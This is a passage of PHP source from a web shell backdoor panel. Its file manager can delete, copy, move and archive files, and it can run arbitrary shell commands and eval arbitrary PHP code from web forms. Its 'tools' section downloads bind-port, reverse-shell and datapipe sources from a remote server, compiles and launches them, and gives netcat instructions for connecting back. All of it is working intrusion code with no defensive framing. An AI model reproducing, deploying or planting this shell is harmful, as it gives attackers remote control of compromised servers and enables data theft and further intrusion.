}
}
if ($act == "delete")
{
$delerr = "";
foreach ($actbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
}
if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
$act = "ls";
}
if (!$usefsbuff)
{
if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
}
else
{
if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); N3t_sess_put($sess_data); $act = "ls"; }
elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); N3t_sess_put($sess_data); $act = "ls";}
elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} N3t_sess_put($sess_data); $act = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); N3t_sess_put($sess_data);}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
N3t_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$act = "ls";
}
elseif ($actarcbuff)
{
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v)
{
$v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v))
{
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = myshellexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("\r\n","\n",$ret);
$ret = explode("\n",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v)
{
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
N3t_sess_put($sess_data);
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
$act = "ls";
}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
N3t_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$act = "ls";
}
}
if ($act == "cmd")
{
if (trim($cmd) == "ps -aux") {$act = "processes";}
elseif (trim($cmd) == "tasklist") {$act = "processes";}
else
{
@chdir($chdir);
if (!empty($submit))
{
echo "<b>Result of execution this command</b>:<br>";
$olddir = realpath(".");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt)
{
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
@chdir($olddir);
}
else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
}
if ($act == "ls")
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
else {}
}
if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
else
{
//Building array
$objects = array();
$vd = "f"; //Viewing mode
if ($vd == "f")
{
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v)
{
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
elseif (is_dir($v))
{
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win)
{
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "<b>Name</b>";
$row[] = "<b>Size</b>";
$row[] = "<b>Modify</b>";
if (!$win)
{$row[] = "<b>Owner/Group</b>";}
$row[] = "<b>Perms</b>";
$row[] = "<b>Action</b>";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
$y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++)
{
if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d")
{
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; N3tshexit();}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".")
{
$row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
$row[] = "LINK";
}
elseif ($o == "..")
{
$row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
$row[] = "LINK";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
}
else
{
$type = "DIR";
$row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
// Compiling table
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
foreach($table as $row)
{
echo "<tr>\r\n";
foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
echo "</tr>\r\n";
}
echo "</table><hr size=\"1\" noshade><p align=\"right\">
<script>
function ls_setcheckboxall(status)
{
var id = 1;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById('actbox'+id).checked = status;
id++;
}
}
function ls_reverse_all()
{
var id = 1;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
id++;
}
}
</script>
<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
<b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
{
echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
}
echo "<select name=act><option value=\"".$act."\">With selected:</option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
if ($usefsbuff)
{
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
}
echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
echo "</form>";
}
}
if ($act == "tools")
{
$bndportsrcs = array(
"N3tsh_bindport.pl"=>array("Using PERL","perl %path %port"),
"N3tsh_bindport.c"=>array("Using C","%path %port %pass")
);
$bcsrcs = array(
"N3tsh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
"N3tsh_backconn.c"=>array("Using C","%path %host %port")
);
$dpsrcs = array(
"N3tsh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
"N3tsh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
);
if (!is_array($bind)) {$bind = array();}
if (!is_array($bc)) {$bc = array();}
if (!is_array($datapipe)) {$datapipe = array();}

if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}

if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}

if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
if (!empty($bindsubmit))
{
echo "<b>Result of binding port:</b><br>";
$v = $bndportsrcs[$bind["src"]];
if (empty($v)) {echo "Unknown file!<br>";}
elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
else
{
$w = explode(".",$bind["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
elseif (!$data = N3tgetsource($bind["src"])) {echo "Can't download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%port",$bind["port"],$v[1]);
$v[1] = str_replace("%pass",$bind["pass"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
sleep(5);
$sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
}
echo "<br>";
}
}
if (!empty($bcsubmit))
{
echo "<b>Result of back connection:</b><br>";
$v = $bcsrcs[$bc["src"]];
if (empty($v)) {echo "Unknown file!<br>";}
else
{
$w = explode(".",$bc["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
elseif (!$data = N3tgetsource($bc["src"])) {echo "Can't download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%host",$bc["host"],$v[1]);
$v[1] = str_replace("%port",$bc["port"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
}
}
}
if (!empty($dpsubmit))
{
echo "<b>Result of datapipe-running:</b><br>";
$v = $dpsrcs[$datapipe["src"]];
if (empty($v)) {echo "Unknown file!<br>";}
elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
else
{
$srcpath = $tmpdir.$datapipe["src"];
$w = explode(".",$datapipe["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
elseif (!$data = N3tgetsource($datapipe["src"])) {echo "Can't download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
$v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
$v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
sleep(5);
$sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
}
echo "<br>";
}
}
?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
}
if ($act == "processes")
{
echo "<b>Processes:</b><br>";
if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
else {$handler = "tasklist";}
$ret = myshellexec($handler);
if (!$ret) {echo "Can't execute \"".$handler."\"!";}
else
{
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
$ret = htmlspecialchars($ret);
if (!$win)
{
if ($pid)
{
if (is_null($sig)) {$sig = 9;}
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) {echo "OK.";}
else {echo "ERROR.";}
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("\n",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i<count($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
$line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
$prcs[] = $line;
echo "</tr>";
}
}
}
else
{
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("\n",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$head = explode("",$stack[0]);
$head[1] = explode(" ",$head[1]);
$head[1] = $head[1][0];
$stack = array_slice($stack,1);
unset($head[2]);
$head = array_values($head);
if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<count($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode("",$line);
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
$line[2] = intval(str_replace(" ","",$line[2]))*1024;
$prcs[] = $line;
echo "</tr>";
}
}
}
$head[$k] = "<b>".$head[$k]."</b>".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
foreach($tab as $i=>$k)
{
echo "<tr>";
foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
echo "</tr>";
}
echo "</table>";
}
}
if ($act == "eval")
{
if (!empty($eval))
{
echo "<b>Result of execution this PHP-code</b>:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
}
else
{
if ($eval_txt)
{
echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
eval($eval);
echo "</textarea>";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f")
{
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
{
if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
}
else
{
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
array("Code","code"),
array("Session","phpsess"),
array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
array("SDB","sdb"),
array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
);
echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
foreach($arr as $t)
{
